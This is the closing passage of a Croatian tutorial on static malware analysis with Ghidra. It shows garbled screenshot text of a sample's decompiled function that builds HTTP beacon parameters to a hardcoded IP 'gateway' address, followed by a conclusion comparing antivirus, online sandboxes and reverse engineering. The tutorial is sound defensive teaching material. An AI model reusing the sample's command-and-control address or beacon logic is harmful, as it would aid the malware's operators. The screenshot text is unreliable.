Data Type Manager All Data Types BuiltinTypes Gwin33.exe	00402245 68 61 f5 CALL ff f 00402241 83 c6 64 ADD 00402244 75 51 4 MOV 01 00 60 00 Console - Scripting	FUR_gen_http_parameters ESP.0x4 dword ptr [EBP + local_10].0x1	00 FW, 004012001(coal_114,0.0xff); 10 wsprintA(local_114,a,http://sis_00407dcc,(&FTR_s_151.248.115.187 11 (%TTR_s_//1921813/418621031041534/gatewa_00407d58)[local_ 12 FW, 004012001(coal_214,0.6xff); 13 iyar3 = FWR_00402dd0(local_114,local_294); 14 iyar3 = FWR_00402dd0(local_114,local_294); 14 iyar3 = FWR_00402dd0(local_114,local_294); 15 iyar3 = FWR_00402dd0(local_114,local_294); 15 iyar3 = FWR_00402dd0(local_114,local_294); 16 iyar3 = FWR_00402dd0(local_114,local_294); 17 iyar3 = FWR_00402dd0(local_114,local_294); 17 iyar3 = FWR_00402dd0(local_114,local_294); 18 iyar3 = FWR_00402dd0(local_114,local_294); 18 iyar3 = FWR_00402dd0(local_114,local_294); 18 iyar3 = FWR_00402dd0(local_114,local_294); 19 iyar3 = FWR_00402d0(local_114,local_294); 19 iyar3 = FWR_				
Filter:			00402c23 FUN 00402aa0 CALL 0x00402490				

Slika 17 Reference na funkciju "FUN_gen_http_parameters"

Sad kad smo interpretirali što funkcija radi, možemo ju preimenovati u korisno ime, kao u npr. "FUN_gen_and_send_http". Ovim postupkom gdje analiziramo funkciju, tražimo njezine *cross-reference*, pa analiziramo funkcije koje ju pozivaju postepeno statički analiziramo naš program. Upravo tako i u praksi često izgleda veći dio statičke analize zloćudnih programa.



4 Zaključak

Uobičajeno je prvi korak određivanja je li neki program zlonamjeran ili ne korištenje nekog antivirusnog softvera koji u većini slučajeva dolazi instaliran skupa s operacijskim sustavom. Ako se sumnja na odluku antivirusnog softvera ili se želi detaljnije pogledati na koji način zlonamjerni program pokušava naštetiti računalu, koriste se besplatni i brzi online alati za automatsku statičku i dinamičku analizu poput VirusTotala i HybridAnalysisa.

Najniža stepenica, tj. najdetaljnija analiza postiže se reverznim inženjerstvom. Iako je najdetaljnija i najviše može reći o ponašanju programa, analiza reverznim inženjerstvom zahtijeva veliko stručno znanje, koncentraciju i više vremena (što naravno ovisi i o iskustvu analitičara).

Alati koji pomažu u reverznom inženjerstvu nastoje olakšati analizu raznim dodatnim funkcionalnostima. Svoje mjesto među takvim alatima pronašla je i Ghidra – moćan, koristan alat koji je uz to besplatan i otvorenog koda. Iako je jedan od najnovijih alata, iznimno je prihvaćen od strane sigurnosnih stručnjaka i stoji uz bok s ostalim alatima koji su već neko vrijeme na tržištu poput IDA-e Pro.